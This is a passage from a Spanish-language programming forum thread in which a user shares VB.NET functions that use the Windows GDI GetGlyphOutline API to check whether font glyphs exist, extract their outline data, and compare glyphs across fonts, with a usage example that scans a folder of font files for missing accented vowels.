  125.    ''' Determines whether a glyph for the specified character in the given <see cref="System.Drawing.Font"/> has an outline.
  126.    ''' <para></para>
  127.    ''' This is useful to determine whether the glyph is empty (no character is drawn),
  128.    ''' but note that a glyph with outlines does not necessarily mean that the character is fully represented.
  129.    ''' Some fonts, for instance, only renders diacritical marks for accented vowels
  130.    ''' instead the full letter (e.g., "<b>´</b>" instead of "<b>í</b>").
  131.    ''' This function solely determines whether the glyph draws an outline, nothing more.
  132.    ''' <para></para>
  133.    ''' To determine whether a glyph exists in the given font file for the specified character, use
  134.    ''' <see cref="FontExtensions.HasGlyph"/> or <see cref="FontExtensions.HasGlyphs"/> instead.
  135.    ''' </summary>
  136.    '''
  137.    ''' <param name="font">
  138.    ''' The <see cref="System.Drawing.Font"/> used to check for glyph availability.
  139.    ''' </param>
  140.    '''
  141.    ''' <param name="ch">
  142.    ''' The character that represents the glyph to check in the font.
  143.    ''' </param>
  144.    '''
  145.    ''' <returns>
  146.    ''' Returns <see langword="True"/> if the glyph has an outline (visible shape data exists).
  147.    ''' <para></para>
  148.    ''' Returns <see langword="False"/> if the glyph does not have an outline,
  149.    ''' meaning the glyph is empty/unsupported by the font.
  150.    ''' </returns>
  151.    <Extension>
  152.    <EditorBrowsable(EditorBrowsableState.Always)>
  153.    <DebuggerStepThrough>
  154.    Public Function GlyphHasOutline(font As Font, ch As Char) As Boolean
  155.  
  156.        If font Is Nothing Then
  157.            Throw New ArgumentNullException(paramName:=NameOf(font))
  158.        End If
  159.  
  160.        Dim hdc As IntPtr
  161.        Dim hFont As IntPtr
  162.        Dim oldObj As IntPtr
  163.  
  164.        Dim win32Err As Integer
  165.  
  166.        Try
  167.            hFont = font.ToHfont()
  168.            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
  169.            oldObj = NativeMethods.SelectObject(hdc, hFont)
  170.            win32Err = Marshal.GetLastWin32Error()
  171.            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
  172.                Throw New Win32Exception(win32Err)
  173.            End If
  174.  
  175.            Dim chCode As UInteger = CUInt(Convert.ToInt32(ch))
  176.            Dim format As GetGlyphOutlineFormat = GetGlyphOutlineFormat.Native
  177.            Dim matrix As GlyphOutlineMatrix2 = GlyphOutlineMatrix2.GetIdentityMatrix()
  178.  
  179.            Dim ptCount As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, Nothing, Nothing, matrix)
  180.            win32Err = Marshal.GetLastWin32Error()
  181.            Select Case ptCount
  182.  
  183.                Case 0UI
  184.                    ' Zero curve data points were returned, meaning the glyph is empty/invisible.
  185.                    Return False
  186.  
  187.                Case DevCase.Win32.Common.Constants.GDI_ERROR
  188.                    If win32Err = Win32ErrorCode.ERROR_SUCCESS Then
  189.                        ' The function returned GDI_ERROR, but no error recorded by GetLastError, meaning the function succeeded.
  190.                        ' Tests carried out have shown that when this happens the glyph simply does not exists.
  191.                        Return False
  192.                    Else
  193.                        Throw New Win32Exception(win32Err)
  194.                    End If
  195.  
  196.                Case Else
  197.                    Return True
  198.  
  199.            End Select
  200.  
  201.        Finally
  202.            If oldObj <> IntPtr.Zero Then
  203.                NativeMethods.DeleteObject(oldObj)
  204.            End If
  205.            If hFont <> IntPtr.Zero Then
  206.                NativeMethods.DeleteObject(hFont)
  207.            End If
  208.            If hdc <> IntPtr.Zero Then
  209.                NativeMethods.DeleteDC(hdc)
  210.            End If
  211.  
  212.        End Try
  213.  
  214.        ' ===================================================
  215.        '   ALTERNATIVE METHODOLOGY USING PURE MANAGED GDI+
  216.        '
  217.        ' (results are the same than using Windows API calls)
  218.        ' ===================================================
  219.        '
  220.        '
  221.        'If font Is Nothing Then
  222.        '    Throw New ArgumentNullException(paramName:=NameOf(font))
  223.        'End If
  224.        '
  225.        'If font.Unit = GraphicsUnit.Pixel AndAlso font.Size < 8 Then
  226.        '    Dim msg As String =
  227.        '        "Font size must be equals or greater than 8 pixels when using GraphicsUnit.Pixel to avoid unreliable pixel detection. " &
  228.        '        "Suggested font size is 16 pixel size; A value of 32, 64 or bigger pixel size would produce the same results."
  229.        '    Throw New ArgumentException(msg)
  230.        '
  231.        'ElseIf font.Size < 4 Then
  232.        '    Dim msg As String =
  233.        '        "Font size must be equals or greater than 4 to avoid unreliable pixel detection. " &
  234.        '        "Suggested usage is GraphicsUnit.Pixel with a font size of 16 pixels; " &
  235.        '        "A value of 32, 64 or bigger pixel size would produce the same results."
  236.        '    Throw New ArgumentException(msg)
  237.        '
  238.        'End If
  239.        '
  240.        '' Measure the required size for the glyph.
  241.        'Dim requiredSize As Size
  242.        'Using tempBmp As New Bitmap(1, 1)
  243.        '    Using g As Graphics = Graphics.FromImage(tempBmp)
  244.        '        Dim sizeF As SizeF = g.MeasureString(ch, font)
  245.        '        ' Add a small margin to avoid clipping due to rounding.
  246.        '        requiredSize = New Size(CInt(System.Math.Ceiling(sizeF.Width)) + 4,
  247.        '                                CInt(System.Math.Ceiling(sizeF.Height)) + 4)
  248.        '    End Using
  249.        'End Using
  250.        '
  251.        '' Create a bitmap big enough to render the glyph,
  252.        '' filling the bitmap background with white color and
  253.        '' drawing the character in black.
  254.        'Using bmp As New Bitmap(requiredSize.Width, requiredSize.Height),
  255.        '      g As Graphics = Graphics.FromImage(bmp)
  256.        '    ' Using AntiAlias may help ensure that very thin glyph strokes
  257.        '    ' still produce detectable pixels, with gray edges.
  258.        '    ' Without anti-aliasing, such strokes might render too faint or disappear entirely,
  259.        '    ' causing the glyph to be misidentified as empty.
  260.        '    g.TextRenderingHint = Drawing.Text.TextRenderingHint.AntiAlias
  261.        '    g.Clear(Color.White)
  262.        '    g.DrawString(ch, font, Brushes.Black, 0, 0)
  263.        '
  264.        '    Dim rect As New Rectangle(0, 0, bmp.Width, bmp.Height)
  265.        '    Dim bmpData As BitmapData = bmp.LockBits(rect, Imaging.ImageLockMode.ReadOnly, Imaging.PixelFormat.Format32bppArgb)
  266.        '
  267.        '    Try
  268.        '        Dim ptr As IntPtr = bmpData.Scan0
  269.        '        Dim bytes As Integer = System.Math.Abs(bmpData.Stride) * bmp.Height
  270.        '        Dim pixelValues(bytes - 1) As Byte
  271.        '        Marshal.Copy(ptr, pixelValues, 0, bytes)
  272.        '
  273.        '        ' Iterate through each pixel.
  274.        '        ' PixelFormat.Format32bppArgb stores pixels as [Blue][Green][Red][Alpha]
  275.        '        ' i=Blue, i+1=Green, i+2=Red, i+3=Alpha
  276.        '        For i As Integer = 0 To pixelValues.Length - 1 Step 4
  277.        '            Dim red As Byte = pixelValues(i + 2)
  278.        '
  279.        '            ' Check if the pixel is darker than nearly-white (threshold 250)
  280.        '            ' If so, we found a visible pixel, meaning the glyph is drawn.
  281.        '            If red < 250 Then
  282.        '                Return True
  283.        '            End If
  284.        '        Next
  285.        '    Finally
  286.        '        bmp.UnlockBits(bmpData)
  287.        '
  288.        '    End Try
  289.        'End Using
  290.        '
  291.        '' No visible pixels found, meaning the glyph is empty/unsupported by the font.
  292.        'Return False
  293.  
  294.    End Function
  295.  
  296. End Module

Modo de empleo

El siguiente ejemplo verifica en los archivos de fuente .ttf de un directorio específico si la tipografía incluye los glifos correspondientes a los caracteres á, é, í, ó y ú. En caso de que falte algún glifo, se imprime un mensaje en consola indicando los glifos ausentes, y finalmente envía el archivo de fuente a la papelera de reciclaje (hay que descomentar las lineas marcadas).

Código
  1. Dim fontFiles As IEnumerable(Of String) = Directory.EnumerateFiles("C:\Fonts", "*.ttf", SearchOption.TopDirectoryOnly)
  2. Dim fontsToDelete As New HashSet(Of String)()
  3. Dim chars As Char() = "áéíóú".ToCharArray()
  4.  
  5. For Each fontFile As String In fontFiles
  6.    Dim missingChars As New HashSet(Of Char)()
  7.  
  8.    For Each ch As Char In chars
  9.        If Not UtilFonts.FontHasGlyph(fontFile, ch) OrElse
  10.           Not UtilFonts.FontGlyphHasOutline(fontFile, ch) Then
  11.            missingChars.Add(ch)
  12.        End If
  13.    Next
  14.  
  15.    If missingChars.Count > 0 Then
  16.        Console.WriteLine($"[{Path.GetFileName(fontFile)}] Missing glyphs: {String.Join(", ", missingChars)}")
  17.        fontsToDelete.Add(fontFile)
  18.    End If
  19. Next
  20.  
  21. For Each fontFile As String In fontsToDelete
  22.    ' Console.WriteLine($"Deleting font file: {fontFile}")
  23.    ' Microsoft.VisualBasic.FileIO.FileSystem.DeleteFile(fontFile, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.SendToRecycleBin)
  24. Next

Por último, quiero comentar que he experimentado estas funciones de forma muy minuciosa, primero con muestras pequeñas de 2 o 3 fuentes... varias veces por cada cambio significativo realizado en el código, y después he probado la versión final con aprox. 14.000 archivos de fuentes de texto, y los resultados han sido muy satisfactorios detectando varios miles de fuentes a los que le faltan los glifos especificados, y, aunque no he podido revisar todos esos miles de fuentes una a una, no he encontrado ningún falso positivo entre varios cientos de fuentes que sí he revisado manualmente.

Eso es todo. 👋


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Septiembre 2025, 01:34 am
Métodos universales para trabajar (los últimos) aspectos básicos con fuentes de texto (.ttf y .otf)...

Funciones 'UtilFonts.GetFontGlyphOutlineData' y 'FontExtensions.GetGlyphOutlineData'

    Sirven para obtener los datos crudos de contorno (outline) de un glifo para un carácter específico en una fuente.

    Devuelven un array de bytes que representa la forma vectorial del glifo en el formato solicitado (Native o Bezier).

    Estos datos se pueden usar como base para comparaciones de glifos.

Funciones 'UtilFonts.FontGlyphOutlinesAreEqual' y 'FontExtensions.GlyphOutlinesAreEqual'

    Sirven para comparar si dos fuentes producen los mismos datos de contorno (outline) de un glifo para un carácter específico.

Funciones 'UtilFonts.GetFontGlyphOutlineSimilarity' y 'FontExtensions.GetGlyphOutlineSimilarity'

    Sirven para calcular un índice de similitud entre los contornos de un glifo para un carácter específico en dos fuentes distintas.

    Se puede usar cuando se quiere medir cuán parecidos son los glifos entre dos fuentes, en lugar de solo saber si son exactamente iguales.



El código fuente

⚠️ Importante: Para poder utilizar este código se requieren algunas definiciones de la API de Windows que he compartido en el post anterior a este. No lo comparto aquí de nuevo para evitar repetir código y evitar que este post quede demasiado grande y tedioso de leer. 🙏

Código
  1. Public Class UtilFonts
  2.  
  3.    ''' <summary>
  4.    ''' Prevents a default instance of the <see cref="UtilFonts"/> class from being created.
  5.    ''' </summary>
  6.    Private Sub New()
  7.    End Sub
  8.  
  9.    ''' <summary>
  10.    ''' Retrieves the raw outline data for a given glyph from the specified font file.
  11.    ''' <para></para>
  12.    ''' This function calls <see cref="DevCase.Win32.NativeMethods.GetGlyphOutline"/> in background
  13.    ''' to retrieve outline data with the requested <paramref name="format"/>.
  14.    ''' </summary>
  15.    '''
  16.    ''' <param name="fontFile">
  17.    ''' Path to the font file from which the glyph will be obtained.
  18.    ''' </param>
  19.    '''
  20.    ''' <param name="ch">
  21.    ''' The character whose glyph outline will be requested.
  22.    ''' </param>
  23.    '''
  24.    ''' <param name="format">
  25.    ''' The format in which the glyph outline will be retrieved.
  26.    ''' <para></para>
  27.    ''' This value only can be <see cref="GetGlyphOutlineFormat.Native"/> or <see cref="GetGlyphOutlineFormat.Bezier"/>.
  28.    ''' <para></para>
  29.    ''' Note: callers must interpret the returned byte array based on the selected format.
  30.    ''' </param>
  31.    '''
  32.    ''' <param name="matrix">
  33.    ''' An optional <see cref="GlyphOutlineMatrix2"/> used to transform the glyph outline.
  34.    ''' <para></para>
  35.    ''' If no value is provided or default structure is passed, an identity matrix
  36.    ''' will be used (see: <see cref="GlyphOutlineMatrix2.GetIdentityMatrix()"/>),
  37.    ''' where the transfromed graphical object is identical to the source object.
  38.    ''' </param>
  39.    '''
  40.    ''' <returns>
  41.    ''' A <see cref="Byte"/> array containing the raw glyph outline data with the requested <paramref name="format"/>.
  42.    ''' <para></para>
  43.    ''' Returns <see langword="Nothing"/> if the glyph is empty in the specified font.
  44.    ''' </returns>
  45.    '''
  46.    ''' <exception cref="FileNotFoundException">
  47.    ''' Thrown when the font file is not found.
  48.    ''' </exception>
  49.    <DebuggerStepThrough>
  50.    Public Shared Function GetFontGlyphOutlineData(fontFile As String, ch As Char, format As GetGlyphOutlineFormat,
  51.                                                   Optional matrix As GlyphOutlineMatrix2 = Nothing) As Byte()
  52.  
  53.        If Not File.Exists(fontFile) Then
  54.            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
  55.        End If
  56.  
  57.        Using pfc As New PrivateFontCollection()
  58.            pfc.AddFontFile(fontFile)
  59.  
  60.            Using f As New Font(pfc.Families(0), emSize:=1)
  61.                Return FontExtensions.GetGlyphOutlineData(f, ch, format, matrix)
  62.            End Using
  63.        End Using
  64.    End Function
  65.  
  66.    ''' <summary>
  67.    ''' Determines whether the glyph outline for the specified character is identical in two font files.
  68.    ''' </summary>
  69.    '''
  70.    ''' <param name="firstFontFile">
  71.    ''' Path to the first font file to compare.
  72.    ''' </param>
  73.    '''
  74.    ''' <param name="secondFontFile">
  75.    ''' Path to the second font file to compare.
  76.    ''' </param>
  77.    '''
  78.    ''' <param name="ch">
  79.    ''' The character whose glyph outline will be compared between the two fonts.
  80.    ''' </param>
  81.    '''
  82.    ''' <returns>
  83.    ''' <see langword="True"/> if both fonts produce identical outlines for the specified glyph.
  84.    ''' <para></para>
  85.    ''' <see langword="False"/> if the outlines differ or if one of the fonts has an empty glyph.
  86.    ''' If the glyph outlines are empty in both fonts, returns <see langword="True"/>.
  87.    ''' </returns>
  88.    '''
  89.    ''' <exception cref="FileNotFoundException">
  90.    ''' Thrown when one of the font files is not found.
  91.    ''' </exception>
  92.    <DebuggerStepThrough>
  93.    Public Shared Function FontGlyphOutlinesAreEqual(firstFontFile As String, secondFontFile As String, ch As Char) As Boolean
  94.  
  95.        If Not File.Exists(firstFontFile) Then
  96.            Throw New FileNotFoundException("First font file not found.", fileName:=firstFontFile)
  97.        End If
  98.  
  99.        If Not File.Exists(secondFontFile) Then
  100.            Throw New FileNotFoundException("Second ont file not found.", fileName:=secondFontFile)
  101.        End If
  102.  
  103.        Using firstPfc As New PrivateFontCollection(),
  104.              secondPfc As New PrivateFontCollection()
  105.  
  106.            firstPfc.AddFontFile(firstFontFile)
  107.            secondPfc.AddFontFile(secondFontFile)
  108.  
  109.            Using firstFont As New Font(firstPfc.Families(0), emSize:=1),
  110.                  secondFont As New Font(secondPfc.Families(0), emSize:=1)
  111.  
  112.                Return FontExtensions.GlyphOutlineIsEqualTo(firstFont, secondFont, ch)
  113.            End Using
  114.        End Using
  115.    End Function
  116.  
  117.    ''' <summary>
  118.    ''' Computes a similarity score between the glyph outline for the specified character in two font files.
  119.    ''' </summary>
  120.    '''
  121.    ''' <param name="firstFontFile">
  122.    ''' Path to the first font file to compare.
  123.    ''' </param>
  124.    '''
  125.    ''' <param name="secondFontFile">
  126.    ''' Path to the second font file to compare.
  127.    ''' </param>
  128.    '''
  129.    ''' <param name="ch">
  130.    ''' The character whose glyph outline will be compared between the two fonts.
  131.    ''' </param>
  132.    '''
  133.    ''' <returns>
  134.    ''' A <see cref="Single"/> value between 0.0 and 1.0 representing the similarity
  135.    ''' (the number of matching bytes in the outline data) of the glyph outlines.
  136.    ''' <para></para>
  137.    ''' If one of the fonts has an empty glyph, returns 0. If the glyph outlines are empty in both fonts, returns 1.
  138.    ''' </returns>
  139.    '''
  140.    ''' <exception cref="FileNotFoundException">
  141.    ''' Thrown when one of the font files is not found.
  142.    ''' </exception>
  143.    <DebuggerStepThrough>
  144.    Public Shared Function GetFontGlyphOutlineSimilarity(firstFontFile As String, secondFontFile As String, ch As Char) As Single
  145.  
  146.        If Not File.Exists(firstFontFile) Then
  147.            Throw New FileNotFoundException("First font file not found.", fileName:=firstFontFile)
  148.        End If
  149.  
  150.        If Not File.Exists(secondFontFile) Then
  151.            Throw New FileNotFoundException("Second ont file not found.", fileName:=secondFontFile)
  152.        End If
  153.  
  154.        Using firstPfc As New PrivateFontCollection(),
  155.              secondPfc As New PrivateFontCollection()
  156.  
  157.            firstPfc.AddFontFile(firstFontFile)
  158.            secondPfc.AddFontFile(secondFontFile)
  159.  
  160.            Using firstFont As New Font(firstPfc.Families(0), emSize:=1),
  161.                  secondFont As New Font(secondPfc.Families(0), emSize:=1)
  162.  
  163.                Return FontExtensions.GetGlyphOutlineSimilarity(firstFont, secondFont, ch)
  164.            End Using
  165.        End Using
  166.    End Function
  167.  
  168. End Class

y:

Código
  1. Module FontExtensions
  2.  
  3.    ''' <summary>
  4.    ''' Retrieves the raw outline data for a given glyph from the specified <see cref="System.Drawing.Font"/>.
  5.    ''' <para></para>
  6.    ''' This function calls <see cref="DevCase.Win32.NativeMethods.GetGlyphOutline"/> in background
  7.    ''' to retrieve outline data with the requested <paramref name="format"/>.
  8.    ''' </summary>
  9.    '''
  10.    ''' <param name="font">
  11.    ''' The <see cref="System.Drawing.Font"/> object from which the glyph will be obtained.
  12.    ''' </param>
  13.    '''
  14.    ''' <param name="ch">
  15.    ''' The character whose glyph outline will be requested.
  16.    ''' </param>
  17.    '''
  18.    ''' <param name="format">
  19.    ''' The format in which the glyph outline will be retrieved.
  20.    ''' <para></para>
  21.    ''' This value only can be <see cref="GetGlyphOutlineFormat.Native"/> or <see cref="GetGlyphOutlineFormat.Bezier"/>.
  22.    ''' <para></para>
  23.    ''' Note: callers must interpret the returned byte array based on the selected format.
  24.    ''' </param>
  25.    '''
  26.    ''' <param name="matrix">
  27.    ''' An optional <see cref="GlyphOutlineMatrix2"/> used to transform the glyph outline.
  28.    ''' <para></para>
  29.    ''' If no value is provided or default structure is passed, an identity matrix
  30.    ''' will be used (see: <see cref="GlyphOutlineMatrix2.GetIdentityMatrix()"/>),
  31.    ''' where the transfromed graphical object is identical to the source object.
  32.    ''' </param>
  33.    '''
  34.    ''' <returns>
  35.    ''' A <see cref="Byte"/> array containing the raw glyph outline data with the requested <paramref name="format"/>.
  36.    ''' <para></para>
  37.    ''' Returns <see langword="Nothing"/> if the glyph is empty in the specified <paramref name="font"/>.
  38.    ''' </returns>
  39.    '''
  40.    ''' <exception cref="ArgumentNullException">
  41.    ''' Thrown when <paramref name="font"/> is <see langword="Nothing"/>.
  42.    ''' </exception>
  43.    '''
  44.    ''' <exception cref="ArgumentException">
  45.    ''' Thrown when the specified <paramref name="format"/> is invalid to request glyph outline data.
  46.    ''' </exception>
  47.    '''
  48.    ''' <exception cref="System.ComponentModel.Win32Exception">
  49.    ''' Thrown when a Win32 error occurs during font or device context operations.
  50.    ''' </exception>
  51.    <Extension>
  52.    <EditorBrowsable(EditorBrowsableState.Always)>
  53.    <DebuggerStepThrough>
  54.    Public Function GetGlyphOutlineData(font As Font, ch As Char, format As GetGlyphOutlineFormat,
  55.                                        Optional matrix As GlyphOutlineMatrix2 = Nothing) As Byte()
  56.  
  57.        If font Is Nothing Then
  58.            Throw New ArgumentNullException(paramName:=NameOf(font))
  59.        End If
  60.  
  61.        If format <> GetGlyphOutlineFormat.Native AndAlso
  62.           format <> GetGlyphOutlineFormat.Bezier Then
  63.  
  64.            Dim msg As String = $"The specified format '{format}' does not produce glyph outline data. " & Environment.NewLine &
  65.                                $"Use '{NameOf(GetGlyphOutlineFormat.Native)}' or '{NameOf(GetGlyphOutlineFormat.Bezier)}' " &
  66.                                "formats to request glyph outline data."
  67.  
  68.            Throw New ArgumentException(msg, paramName:=NameOf(format))
  69.        End If
  70.  
  71.        Dim hdc As IntPtr
  72.        Dim hFont As IntPtr
  73.        Dim oldObj As IntPtr
  74.  
  75.        Dim win32Err As Integer
  76.  
  77.        Try
  78.            hFont = font.ToHfont()
  79.            hdc = NativeMethods.CreateCompatibleDC(IntPtr.Zero)
  80.            oldObj = NativeMethods.SelectObject(hdc, hFont)
  81.            win32Err = Marshal.GetLastWin32Error()
  82.            If oldObj = IntPtr.Zero OrElse oldObj = DevCase.Win32.Common.Constants.HGDI_ERROR Then
  83.                Throw New Win32Exception(win32Err)
  84.            End If
  85.  
  86.            Dim chCode As UInteger = CUInt(Convert.ToInt32(ch))
  87.            If matrix.Equals(New GlyphOutlineMatrix2()) Then
  88.                matrix = GlyphOutlineMatrix2.GetIdentityMatrix()
  89.            End If
  90.  
  91.            Dim needed As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, Nothing, Nothing, matrix)
  92.  
  93.            win32Err = Marshal.GetLastWin32Error()
  94.  
  95.            Select Case needed
  96.                Case 0UI
  97.                    ' Zero curve data points were returned, meaning the glyph is empty.
  98.                    Return Nothing
  99.  
  100.                Case DevCase.Win32.Common.Constants.GDI_ERROR
  101.                    If win32Err = Win32ErrorCode.ERROR_SUCCESS Then
  102.                        ' The function returned GDI_ERROR, but no error recorded by GetLastError, meaning the function succeeded.
  103.                        ' Tests carried out have shown that when this happens the glyph simply does not exists.
  104.                        Return Nothing
  105.                    Else
  106.                        Throw New Win32Exception(win32Err)
  107.                    End If
  108.  
  109.                Case Else
  110.                    Dim bufferPtr As IntPtr = Marshal.AllocHGlobal(New IntPtr(needed))
  111.                    Try
  112.                        Dim got As UInteger = NativeMethods.GetGlyphOutline(hdc, chCode, format, Nothing, needed, bufferPtr, matrix)
  113.                        win32Err = Marshal.GetLastWin32Error()
  114.                        If got = DevCase.Win32.Common.Constants.GDI_ERROR AndAlso
  115.                           win32Err <> Win32ErrorCode.ERROR_SUCCESS Then
  116.                            Throw New Win32Exception(win32Err)
  117.                        End If
  118.  
  119.                        Dim result(CInt(got) - 1) As Byte
  120.                        Marshal.Copy(bufferPtr, result, 0, CInt(got))
  121.                        Return result
  122.                    Finally
  123.                        Marshal.FreeHGlobal(bufferPtr)
  124.                    End Try
  125.  
  126.            End Select
  127.  
  128.        Finally
  129.            If hFont <> IntPtr.Zero Then
  130.                NativeMethods.DeleteObject(hFont)
  131.            End If
  132.            If oldObj <> IntPtr.Zero Then
  133.                NativeMethods.DeleteObject(oldObj)
  134.            End If
  135.            If hdc <> IntPtr.Zero Then
  136.                NativeMethods.DeleteDC(hdc)
  137.            End If
  138.  
  139.        End Try
  140.  
  141.    End Function
  142.  
  143.    ''' <summary>
  144.    ''' Determines whether the glyph outline for the specified character in the source <see cref="System.Drawing.Font"/>
  145.    ''' is identical to the glyph outline of the same character in another <see cref="System.Drawing.Font"/>.
  146.    ''' </summary>
  147.    '''
  148.    ''' <param name="firstFont">
  149.    ''' The first <see cref="System.Drawing.Font"/> to compare.
  150.    ''' </param>
  151.    '''
  152.    ''' <param name="secondFont">
  153.    ''' The second <see cref="System.Drawing.Font"/> to compare.
  154.    ''' </param>
  155.    '''
  156.    ''' <param name="ch">
  157.    ''' The character whose glyph outline will be compared between the two fonts.
  158.    ''' </param>
  159.    '''
  160.    ''' <returns>
  161.    ''' <see langword="True"/> if both fonts produce identical outlines for the specified glyph.
  162.    ''' <para></para>
  163.    ''' <see langword="False"/> if the outlines differ or if one of the fonts has an empty glyph.
  164.    ''' If the glyph outlines are empty in both fonts, returns <see langword="True"/>.
  165.    ''' </returns>
  166.    <Extension>
  167.    <EditorBrowsable(EditorBrowsableState.Always)>
  168.    <DebuggerStepThrough>
  169.    Public Function GlyphOutlinesAreEqual(firstFont As Font, secondFont As Font, ch As Char) As Boolean
  170.  
  171.        Dim firstBytes As Byte() = FontExtensions.GetGlyphOutlineData(firstFont, ch, GetGlyphOutlineFormat.Native)
  172.        Dim secondBytes As Byte() = FontExtensions.GetGlyphOutlineData(secondFont, ch, GetGlyphOutlineFormat.Native)
  173.  
  174.        Return (firstBytes Is Nothing AndAlso secondBytes Is Nothing) OrElse
  175.               (
  176.                 (firstBytes Is Nothing = (secondBytes Is Nothing)) AndAlso
  177.                  firstBytes.SequenceEqual(secondBytes)
  178.               )
  179.    End Function
  180.  
  181.    ''' <summary>
  182.    ''' Computes a similarity score between the glyph outline for the
  183.    ''' specified character in the source <see cref="System.Drawing.Font"/>,
  184.    ''' and the the glyph outline of the same character in another <see cref="System.Drawing.Font"/>.
  185.    ''' </summary>
  186.    '''
  187.    ''' <param name="firstFont">
  188.    ''' The first <see cref="System.Drawing.Font"/> to compare.
  189.    ''' </param>
  190.    '''
  191.    ''' <param name="secondFont">
  192.    ''' The second <see cref="System.Drawing.Font"/> to compare.
  193.    ''' </param>
  194.    '''
  195.    ''' <param name="ch">
  196.    ''' The character whose glyph outlines will be compared between the two fonts.
  197.    ''' </param>
  198.    '''
  199.    ''' <returns>
  200.    ''' A <see cref="Single"/> value between 0.0 and 1.0 representing the similarity
  201.    ''' (the number of matching bytes in the outline data) of the glyph outlines.
  202.    ''' <para></para>
  203.    ''' If one of the fonts has an empty glyph, returns 0. If the glyph outlines are empty in both fonts, returns 1.
  204.    ''' </returns>
  205.    <Extension>
  206.    <EditorBrowsable(EditorBrowsableState.Always)>
  207.    <DebuggerStepThrough>
  208.    Public Function GetGlyphOutlineSimilarity(firstFont As Font, secondFont As Font, ch As Char) As Single
  209.  
  210.        Dim firstBytes As Byte() = FontExtensions.GetGlyphOutlineData(firstFont, ch, GetGlyphOutlineFormat.Native)
  211.        Dim secondBytes As Byte() = FontExtensions.GetGlyphOutlineData(secondFont, ch, GetGlyphOutlineFormat.Native)
  212.  
  213.        If firstBytes Is Nothing AndAlso secondBytes Is Nothing Then
  214.            Return 1.0F
  215.        End If
  216.  
  217.        If (firstBytes Is Nothing) <> (secondBytes Is Nothing) Then
  218.            Return 0.0F
  219.        End If
  220.  
  221.        Dim maxLength As Integer = System.Math.Max(firstBytes.Length, secondBytes.Length)
  222.        Dim minLength As Integer = System.Math.Min(firstBytes.Length, secondBytes.Length)
  223.        Dim equalCount As Integer = 0
  224.  
  225.        For i As Integer = 0 To minLength - 1
  226.            If firstBytes(i) = secondBytes(i) Then
  227.                equalCount += 1
  228.            End If
  229.        Next
  230.  
  231.        Return CSng(equalCount) / maxLength
  232.    End Function
  233.  
  234. End Module